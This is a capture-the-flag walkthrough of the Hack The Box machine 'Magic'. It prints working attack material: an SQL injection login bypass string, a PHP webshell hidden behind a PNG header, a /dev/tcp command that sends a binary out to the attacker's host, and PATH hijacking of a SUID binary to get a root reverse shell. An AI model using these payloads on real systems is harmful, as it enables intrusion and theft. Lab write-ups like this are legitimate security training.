HTB - Magic

Zweilosec's write-up on the medium difficulty machine Magic from https://hackthebox.eu

Overview

Short description to include any strange things to be dealt with

Useful Skills and Tools

  • description with generic example

  • description with generic example

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.185. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.

Only two ports open - 22 SSH and 80 HTTP

Nikto Scan

While testing various things, I found multiple ways forward for this next section. First, I found the URL to an upload page at /upload.php with dirbuster, and I also noticed you can find the URL to the upload page in the home page's source.

HTTP Verb Tampering

Once I had the URL, I was able to use Burp and use a bypass method called verb tampering. Nikto pointed this out by identifying that the DEBUG method was able to be used on this server.

According to a post on the SANS website https://www.sans.org/blog/http-verb-tampering-in-asp-net/, a vulnerability called HTTP Verb tampering can be used to enumerate the source of pages that are supposed to be behind access control methods. This can be done by sending HTTP methods the server does not understand and is caused by a misconfiguration of the server.

DEBUG HTTP Method

First I requested the /upload.php page normally, then captured the request in Burp and sent it to the Repeater tool. The normal request tried to redirect me to the login page. From here I changed the HTTP method to DEBUG to see what it would give me.

"TEST" HTTP Method

Using the method DEBUG I was given the source of the /upload.php page! This can also be done against this server by sending arbitrary method names as such TEST:

"TEST" HTTP Method

There is a link to login at the bottom left of the home page which leads to the standard admin login page. While checking for for simple SQL injection I put my test command 'or'a'='a in the password field and was logged right in!

Whatever method used, it leads to the upload page where there is a simple drag & drop file uploader:

After getting access to the upload page, I crafted an fake image upload with a PNG file header and PHP code in it and send it using Burp Repeater. I got this idea a while back from watching Ippsec's videos on HackTheBox - Vault.

https://www.php.net/manual/en/function.passthru.php https://stackoverflow.com/questions/732832/php-exec-vs-system-vs-passthru

<?php passthru($_GET['test']); ?>

This text may not work by directly copying and pasting. The PNG file header has some other bytes in it that do not render as ASCII and do not copy properly, but Burp is capable of grabbing them if you capture a file upload/download. I sent a test PNG first, then cut out everything but the headers to craft my payload.

whoami returns www-data

pwd gets me /var/www/Magic/images/uploads

gets me...

sending a non-image file results in this message: <script>alert('What are you trying to do there?')</script>

to get burp to catch the request I had to go into the settings and disable the default filter that tells it not to intercept image requests

a shell!

Initial Foothold

Enumeration as www-data

lets try those creds on SSH...nope

only theseus and root can login what is this whoopsie process? https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11484

Road to User

Further enumeration

Finding user creds

There is a mysql service user, port 3306 is open...seems like MySQL is running! NExt I tried to find the executable files related to it to see how to get into the database.

There were lots of programs installed related to mysql in /usr/bin. The one called mysqldump sounded particularly interesting. A quick search led me to the official documentation at https://dev.mysql.com/doc/refman/8.0/en/mysqldump.html

The mysqldump client utility performs logical backups, producing a set of SQL statements that can be executed to reproduce the original database object definitions and table data. It dumps one or more MySQL databases for backup or transfer to another SQL server. The mysqldump command can also generate output in CSV, other delimited text, or XML format.

Sounds like a nice and easy way to quickly dump the database! The file db.php5 in the web directory told me the database name was Magic and also gave me the username and password.

The table named login had another set of credentials, this time for admin:Th3s3usW4sK1ng. These credentials did not work for the Magic database. It did however let me su to user theseus!

User.txt

Path to Power (Gaining Administrator Access)

Enumeration as User

user group is abnormal...what files can this user access?

Only one file...supicious...and linpeas.sh shows /bin/sysinfo as suid pspy shows

I didn't know there was a sysinfo program for linux so I searched for privesc related to that. It turns out there was a vulnerability in such a program, back in 2018.

however this program seemed to be running a few other commands. I recognized the output from the last part under "Mem Usage" as from the program free.

Pretty much the same output!

while trying to get the help for the free program I stumbled upon the right flag to match the exact output from sysinfo. from the man page:

These units of measurement are based on 1024 rather than 1000. Storage is created using these measurements, so it is more accurate to the physical hardware. Marketing departments like to round this number to 1000 and use the standard kilo-, mega-, and giga-, etc. because it makes the storage size seem bigger, without actually lying! This is why your "500GB" hard drive only shows 465.661287 (or so) in the OS. Sneaky...

hint: you can use the Bing in-search calculator to convert between the two measurements by typing convert 500GB to gibibytes.

I decided to exfiltrate the sysinfo program see how it worked. theseus@ubuntu:/dev/shm$ cat /bin/sysinfo > /dev/tcp/10.10.15.57/8099

By examining the program sysinfo in ghidra I could see that it called multiple other programs, similar to a bash script. The problem with this program was that it called these external programs only by name, and did not use the full absolute paths. This can allow a malicious attacker (or even a friendly neighborhood security researcher!) to create their own program in a folder that exists in the PATH earlier than the real one (or one could simply prepend a folder of their choosing to the PATH environment variable!)

lshw, fdisk, free, cat /proc/cpuinfo

I decided to create my own free file, which hosted my reverse shell from earlier to see if I could get sysinfo to run it as root. I had to add my working folder to the PATH, and then theseus@ubuntu:/tmp$ export PATH=/dev/shm:$PATH

I also had to make sure to make the file was executable by root (+x makes it executable for everyone unless you specify a UGO category). theseus@ubuntu:/tmp$ chmod +x free

Getting a shell

Root.txt

and here is the sysinfo binary code:

Thanks to TRX for .

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - BookNextHTB - Cache

Last updated

Was this helpful?